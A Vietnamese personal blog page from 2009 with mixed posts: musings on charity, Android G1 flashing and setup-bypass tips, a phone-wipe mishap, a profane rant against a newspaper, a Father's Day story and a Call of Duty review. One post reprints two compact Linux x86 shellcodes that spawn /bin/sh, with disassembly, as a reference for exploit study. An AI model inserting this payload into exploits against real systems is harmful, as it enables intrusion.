Skip navigation.

Sống trong đời sống ...

... để làm gì em biết không?

Sự khác biệt của con người

Mình chợt nhận ra rằng, văn hóa người Việt khác văn hóa người nước ngoài ở một điểm nữa, đó là người nước ngoài càng nhiều tiền thì làm từ thiện càng nhiều, còn người Việt thì ngược lại.

Hôm rồi, khi mình và thằng bạn làm một việc be bé giúp một chị trong công ty, mình cũng phát hiện ra một điều rằng, tổng của số tiền có với lòng đồng cảm trước hoàn cảnh của người khác là một số không đổi.

Shellcode bé nhất

, ,

Ghi lại sau tham khảo cho dễ

Shellcode: 25 bytes
Shell: /bin/sh

  "\x31\xc0"                    // xor    %eax, %eax
  "\x50"                        // push   %eax
  "\x68\x2f\x2f\x73\x68"        // push   $0x68732f2f
  "\x68\x2f\x62\x69\x6e"        // push   $0x6e69622f
  "\x89\xe3"                    // mov    %esp, %ebx
  "\x50"                        // push   %eax
  "\x53"                        // push   %ebx
  "\x89\xe1"                    // mov    %esp, %ecx
  "\x31\xd2"                    // xor    %edx, %edx
  "\xb0\x0b"                    // mov    $0xb, %al
  "\xcd\x80";                   // int    $0x80

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80



Shellcode: 23 bytes
Shell: /bin/sh

  "\x6a\x0b"// push   $0xb
  "\x58"// pop    %eax
  "\x99"                        // cltd
  "\x52"// push   %edx
  "\x68\x2f\x2f\x73\x68"// push   $0x68732f2f
  "\x68\x2f\x62\x69\x6e"// push   $0x6e69622f
  "\x89\xe3"// mov    %esp, %ebx
  "\x52"// push   %edx
  "\x53"// push   %ebx
  "\x89\xe1"// mov    %esp, %ecx
  "\xcd\x80";// int    $0x80

\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80



Nguồn: http://www.milw0rm.com

Nghệ thuật tận dụng lỗi phần mềm

, , ,

Một cuốn sách tuyệt vời!
Xin được khẳng định điều đó. Không còn gì sung sướng hơn là có một cuốn sách kỹ thuật nói về một đề tài rất khó này bằng tiếng Việt, lại hoàn toàn do một người Việt Nam trình bày chứ không phải dịch từ sách nước ngoài.

Cuốn sách chỉ gói gọn trong 125 trang nhưng chứa đựng cả một kho kiến thức to lớn và, đặc biệt hơn nữa, là kinh nghiệm sau nhiều năm nghiên cứu và làm việc của tác giả. Nếu sau khi học xong khóa học Tận dụng lỗi phần mềm do chính tác giả dạy thì cuốn sách này sẽ là một trang tham khảo, ôn lại sau bài học rất hữu ích.

Hơn nữa, theo chủ trương của tác giả là, tại sao sách bản quyền giá bán quá rẻ mà lại phải đi mua sách lậu vừa xấu vừa không tôn trọng tác giả? Vì thế, cuốn sách được bán với giá rất sinh viên: 25.000VNĐ

Sẽ còn rất nhiều điều để nói đến về cuốn sách, nhưng có lẽ không lời nào hay bằng chính các bạn tự trải nghiệm và suy nghĩ. Mọi chi tiết các bạn có thể tìm thấy tại:

Android và G1 phần 2

, ,

Lỡ tay reset nguyên cái máy, flash ROM mới xong mới nhớ ra SIM mình chưa cài GPRS? Không sao, có wifi là active máy được, chỉ cần cắm vào máy tính, chạy adb như sau:
adb shell am start -a android.intent.action.MAIN -n com.android.settings/.Settings

Sẽ mở khung điều chỉnh Settings, chỉ việc mở wifi lên và đăng nhập vào google là xong.

Còn lỡ như không thích đăng ký với google? Sửa file này: /data/system/packages.xml
Kiếm phần com.android.setupwizard, thêm vào ngay trước phần kết thúc <package>:
<disabled-components>
<item name="com.android.setupwizard.SetupWizardActivity" />
</disabled-components>


Nhìn nó sẽ như sau:
<package name="com.android.setupwizard" codePath="/system/app/SetupWizard.apk" system="true" ts="1217592000000" userId="10010">
<sigs count="1">
<cert index="0" />
</sigs>
<disabled-components>
<item name="com.android.setupwizard.SetupWizardActivity" />
</disabled-components>
</package>


Lỡ như muốn dùng máy mà không có SIM, mở adb lên cho nó câu này:
sqlite3 /data/data/com.android.providers.settings/databases/settings.db "INSERT INTO system (name, value) VALUES ('device_provisioned', 1);"


Src: http://forum.xda-developers.com/showthread.php?t=452316

Android và G1 phần 1

,

Chả là mới có 1 em G1, bước đầu nghịch Android thấy sướng quá xá, ghi lại vài cái cho bà con lỡ có ai cũng mới mới ngu ngu như mình thì còn biết đường mà mần.

- SPL mode: là chế độ để ngó ba cái thông số y như BIOS của máy tính vậy, vô nó bằng cách bấm nút Power + Camera
- Recovery mode: là chế độ thường dùng để flash những thứ abc, xyz mà bạn muốn (firmware, radio, boot ...), vô nó bằng cách bấm Power + Home
- Radio image: là một cục chứa phần điều khiển cho việc sử dụng sóng gió, nó nôm na như là cái JVM framework vậy, còn Android là một ứng dụng JAVA, các phiên bản hệ điều hành Adroid sau này đều dựa trên cái firmware mới để chạy, do đó nếu Android mới thì phải chạy trên radio firmware mới, nếu không đúng thì có thể Android sẽ gặp trục trặc.
- Recovery image: chính là nguyên cục thằng Android á
- System image: hè hè, chỗ này thì đọc xuống dưới.

Có 2 cách để flash cái điện thoại của bạn:
- Sử dụng recovery image: đây là cách đơn giản và dễ nhất, chỉ việc down recovery image về, chép vào thẻ nhớ với tên file update.zip ở thư mục gốc, vào Recovery mode chọn update là xong.
- Sử dụng fastboot mode: một cái system image nó chứa nhiều file ở bên trong:
+ Boot image: chứa kernel và initrd
+ Recovery image: chứa những file để dựng lại hoặc phục hồi lại hệ thống
+ System image: chứa Android và ứng dụng cho từng phiên bản riêng.

Nghĩa là, trong thằng Recovery image nó bao gồm tất tần tật mọi thứ, kể cả radio image. Tuy nhiên trước khi flash hệ thống, bất kể bằng cách nào, bạn vẫn phải flash cái radio image trước. (Tại sao đã flash rồi mà trong cái recovery image nó vẫn có thì mình ... chịu)

Một đồ nghề không thể thiếu để flash đó là adb tool.

Các bước để flash:
0. Mở máy bình thường, cắm vào PC
1. Vào thư mục ADP/tools
2. Gõ $adb devices
3. Gõ $adb push abc.img /sdcard/update.zip
4. Gõ $adb shell sync cho chắc ăn là mọi thứ đã chép xong
5. Tắt, mở lại vào recovery mode
6. Bấm Alt + S
7. Ngồi chờ, xong.

<còn tiếp>

Một thằng ngu chánh hiệu

,

À, không có gì nhiều, đơn giản là thế này. Trước mình có cài đặt chế độ bảo vệ cho con E6 của mình, nếu có SIM lạ gắn vào mà không có mật khẩu để tắt cái dịch vụ bảo vệ này đi thì nó sẽ tự động xóa sạch sành sanh tất cả những gì có trong máy và thẻ nhớ, đồng thời liên tục gửi tin nhắn đến 05 số điện thoại abc với nội dung xyz.

Cái đó để chi, để lỡ có mất máy, thằng giặc nào nhét SIM nó vô là vô phương xem dữ liệu của mình nhé, với lại, với tốc độ nhắn tin cỡ 100sms/ngày/số đt thì chỉ cần nó gắn vô 1 ngày là cạn tiền, chỉ có cách flash lại firmware mới thôi.

Và ngày hôm nay mình "lỡ" quên mất mình vẫn còn đang chạy cái đó, mình .... nhét cái SIM trời ơi nào đó vào để lấy danh bạ ra máy tính thì cứ thấy danh bạn nó trống trống thế nào ấy. Lần mò, loay hoay, xoay sở gần 2 tiếng sau mình chợt nhớ ra, vô phương rồi cưng à, tất cả đã đội nón ra đi cưng à.

Cũng không có gì nhiều, khoảng hơn 300 số điện thoại và thông tin liên lạc thôi.

Đ.M, sao mà đãng trí dữ vậy nè, ngu dze sầu. Lúc trước còn 1 bản sao lưu nhưng không nhớ để trong cái container nào, hy vọng là vẫn còn .... nhớ mật khẩu +_+

Hận đời đen bạc!

Ai sẽ đăng quang ngôi vô địch SH CUP 2009?

, ,

SH CUP
Ai sẽ là những nhà vô địch được chạm tay vào chiếc cúp danh giá mà tất cả các cầu thủ mỗi khi ra sân hằng ao ước sẽ được một lần chạm tay vào?

Được chơi trong vòng chung kết SH CUP đã là một vinh dự, được đăng quang ngôi vô địch là một niềm vui lớn hơn tất cả những niềm vui lớn khác. Vậy thì ai sẽ trở thành nhà vô địch xứng đáng cho danh hiệu này đây? Hãy đọc và chia sẻ suy nghĩ, cảm nhận của bạn tại đây.

WTF!!!

,

Đọc bài, xem hình rồi coi tiếp. Chú ý đến bài "Những chú lính ở sân ga" của Dạ Ngân.

Blog Phạm Thành Nhân









Xem cái hình cuối so với hình này:


Src: Wikimedia

Nếu ai có biết sơ sơ qua qui trình làm báo thì chắc cũng sẽ giống mình bây giờ, chỉ biết nói với tác giả, với ban biên tập báo Phụ Nữ TP. HCM thế này: "Chó chết!"

* Xin thứ lỗi nếu mình có văng tục nhưng cuộc đời mình ghét nhất là cái kiểu bôi nhọ danh dự Tổ Quốc như thế. Hay nói trắng ra là cái thằng/con tác giả và cả ban biên tập báo Phụ Nữ TP. HCM đ. đủ tư cách là một con người Việt Nam.

Nhật ký của con

Ngày ... tháng ... năm ...

Hừ, ngày nào cũng hết thịt kho rồi lại thịt luộc. Ăn phát ngán lên đến tận cổ rồi. Mẹ không biết nấu ăn thì đi ăn nhà hàng cho lẹ còn bày đặt giở ra mất thời gian mà ăn chả ra gì.

Ngày ... tháng ... năm ...

- Bố ơi, có cơm không hả bố? Từ hôm qua đến giờ con đói quá à, hu hu.
- Ừ ừ, thôi ngoan nào, bố thương nhé. Tí nữa chùa mở cửa bố sẽ xin cho con thật là nhiều cơm nhé. Hôm qua bố về muộn quá nên họ hết mất cơm rồi con ạ. À, nhưng mà hôm qua bố có xin được một ít mắm để dành cho con ăn cơm này.
- Thật hả bố? Bố nói thật chứ? Ôi vui quá, hôm nay con không phải ăn cơm không nữa rồi.

Ngày ... tháng ... năm ...

Bỏ mẹ rồi, còn có 9 chai làm sao đủ đi chơi tối nay đây? Bốn thằng lận, thằng nào bay, thằng nào nhịn? Giờ mà xin ông bả làm sao cho. Hay cầm mẹ nó con Đỳ-lăng rồi hôm sau bảo mất xin bả tiền mua cái khác vậy.

Ngày ... tháng ... năm ...

- Hôm nay bố mới lãnh lương nhé, bố sẽ khao con nguyên 1 ổ bánh mì, không phải chia với bố nữa, chịu không nào?
- A, hoan hô bố. Bố thật là nhất nhất nhất.

Ngày ... tháng ... năm ...

ĐM, sinh nhật mình mà ông bả cho có 70 chai. Con ghệ nó lại bảo mình nghèo đi theo thằng N. thì nhục chịu thế đ. nào được. Lại còn lũ bạn khốn kiếp nữa, hôm trước cũng chỉ vì mình uống Bờ-lách, thằng kia uống Bờ-lu mà nó bảo mình nhà quê không biết lối ăn chơi. Đã thế hôm nay đi bụi luôn xem ông bả có cuống lên đi tìm không. Bõ cái mặt lần sau mà còn cho ít thì đừng có trách.

Ngày ... tháng ... năm ...

- Bố ơi, bố dậy đi chứ, sao bố ngủ cả ngày rồi mà không dậy chơi với con, con đói quá bố ơi. Bố dậy đi, người ta đuổi bố con mình kìa.

Ngày ... tháng ... năm ...

- Sao các người dám bắt con tôi, nó cũng chỉ lấy có 5 cây thôi mà. Thả con tôi ra, tôi đền gấp 10.

Ngày ... tháng ... năm ...

- Các chú khiêng bố cháu đi đâu thế, các chú gọi bố cháu dậy chơi với cháu đi, hu hu hu.



Cho cha, con và tất cả những ai còn cha, còn con nhân ngày của Cha.

CoD: Modern Warfare review

, ,

Vừa mới kết thúc xong Call of Duty: Modern Warfare ở cấp độ chơi dễ nhất (dành cho người mới lần đầu chơi FPS :D), cảm giác thật khó tả.

Thứ nhất, chưa từng thấy game FPS nào có phần âm thanh hay như game này, chi tiết và rất nhiều âm thanh trộn lẫn tạo ra cảm giác một trận chiến rất thực. Âm thanh được trau chuốt đến từng tiếng lá cây, từng tiếng gió hú tạo một cảm giác không gian rộng lớn và chân thực.

Thứ hai, tuỳ theo cách chơi và quyết định của người chơi mà câu chuyện sẽ dẫn theo một lối khác nhau. Ví dụ như màn chơi lẻn vào căn cứ địch để ám sát tên cầm đầu, trong suốt quá trình đi, có rất nhiều lúc người chơi có thể tự quyết định có giết tên lính canh hay không và sẽ dẫn theo một lối đi khác.

Thứ ba, hình ảnh quá đẹp. Không biết có phải tại cái 9800GT hay không, hay tại cái Sony M81 mà hình ảnh chi tiết đến từng hạt bụi làm mình phải giật mình. Những hạt bụi bay li ti phải để ý mới thấy của ngọn đèn pha, hay những con thiêu thân bay quanh bóng đèn điện vào ban đêm .... Tất cả đều tạo nên một không gian như một bộ phim hành động thực sự.

Cuối cùng, sau khi kết thúc, nhìn phần giới thiệu mà ngộp thở. Không kể đến các chuyên gia cố vấn kỹ thuật quân sự, các đội lồng tiếng, các nhà soạn nhạc và dàn nhạc mà chỉ cần nêu ra một điểm thế này để thấy được mức độ quan tâm trau chuốt game của nhà sản xuất Activision: đội ngũ kiểm thử và quản lí chất lượng (QA - QC) lên đến con số 70 với khoảng 15 người làm việc ca đêm nữa (có cả vụ này nữa, má ơi).

Về cơ bản thì game engine khá xuất sắc, các tác động vật lý khá tốt, tất nhiên cũng có một vài trường hợp không được hợp lý cho lắm, ví dụ như sau khi trườn qua đám cỏ hoặc bãi đất mà không để lại dấu vết. Hoặc có một số khung cảnh bị vướng bởi 1 khúc cây nhưng không thể vượt qua được (chắc là do không gian biên của bản đồ) mặc dù nhìn vẫn tốt và hoàn toàn có thể vượt qua. Hay một số chỗ khi đi qua vật thể không bị vướng mà ... xuyên qua ...

Nói chung còn khá nhiều điểm bất hợp lý nhưng về tổng thể mà nói thì đây là một game xuất sắc, rất đáng chơi. Chả trách người chơi GameSpot cho những 9.0. Theo như dự kiến thì tháng 10 năm nay sẽ có bản Modern Warfare 2 không biết sẽ ra sao nhưng sau 2 năm (kể từ bản MW ra hồi tháng 11/2007) thì sẽ là một bản chơi rất đáng để chờ đợi.

Còn lại đang cầm CoD: World at War ra đời sau Modern Warfare 1 năm (10/2008) chưa biết sẽ ra sao. Mới chỉ thử vào xem một lượt thì thấy hình ảnh có vẻ tốt hơn, âm thanh vẫn quá xá tuyệt như ngày nào. Chỉ có điều bối cảnh của WaW là vào thế chiến thứ 2 nên vũ khí còn khá thô sơ nên bắn có vẻ không "đã" tay lắm. Hơn nữa, mình vẫn thích bối cảnh chiến tranh vùng vịnh, chiến tranh lạnh hơn là Thế chiến 1 hay 2.

Cuối cùng có lẽ cũng để kết lại thì mình xin giới thiệu hệ thống dùng để thử nghiệm:
Mainboard Gigabyte EP45-UD3P
CPU Intel Core 2 Quad 9400 2.66Ghz
RAM kit 4GB OCZ Platinium PC8000
VGA Asus EN9800GT/256bit/1G DDR3
PSU Cooler Master RP-520-ASAA

Với các tham số khi chạy:
RAM 5-5-5-18 2.1V 800Mhz Dual Channel
CPU 3.2Ghz bus 1600Mhz

Cấu hình game:
1280 x 1024/60Hz VSync
AA 4x (nó mà cho 16x em cũng thử rồi :()
AF 4x
Còn lại đều ở chế độ cao nhất và chi tiết nhất

Chỗ này xin thưa là do em hông có máu me OC nên chỉ giữ cho hệ thống chạy ở mức độ tối ưu với cấu hình nhà sản xuất, chỉ xin đẩy CPU lên cho chạy bằng với bus tối đa của main mặc dù em đã thử đẩy lên 4Ghz với cặp OCZ Platinium 1200 nhưng em sợ chạy được vài tháng em phải thay đồ mới nên thôi.

Và nhiệt độ luôn được cố gắng giữ ở mức thấp nhất (vì phòng em lúc nào cũng nóng sẵn rồi +_+).
Tản nhiệt cho CPU giống giống cái này (giống thôi chứ không phải nó nha, em nghèo mà, tìm hoài không ra nó): http://www.vatgia.com/pictures_fullsize/fvf1227155049.jpg
Thùng máy sử dụng 2 quạt 12cm và 16cm 12V - 0.5A.
HDD dùng 01 quạt 12cm 12V - 0.5A
Tất cả quạt đều chạy 100% tốc độ.
(chỗ này cho em xí phát, các bác mà có thấy máy em chạy cũng đừng hỏi tại sao nó hơi ồn nha, tự vì quạt nó là 0.5A - 6W chứ hông phải cái loại Cooler Master silent 0.15A hay 0.2A cùi hủi em không thèm xài đâu à)
CPU < 45 độ
Mainboard < 37 độ
VGA < 60 độ
November 2009
M T W T F S S
October 2009December 2009
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30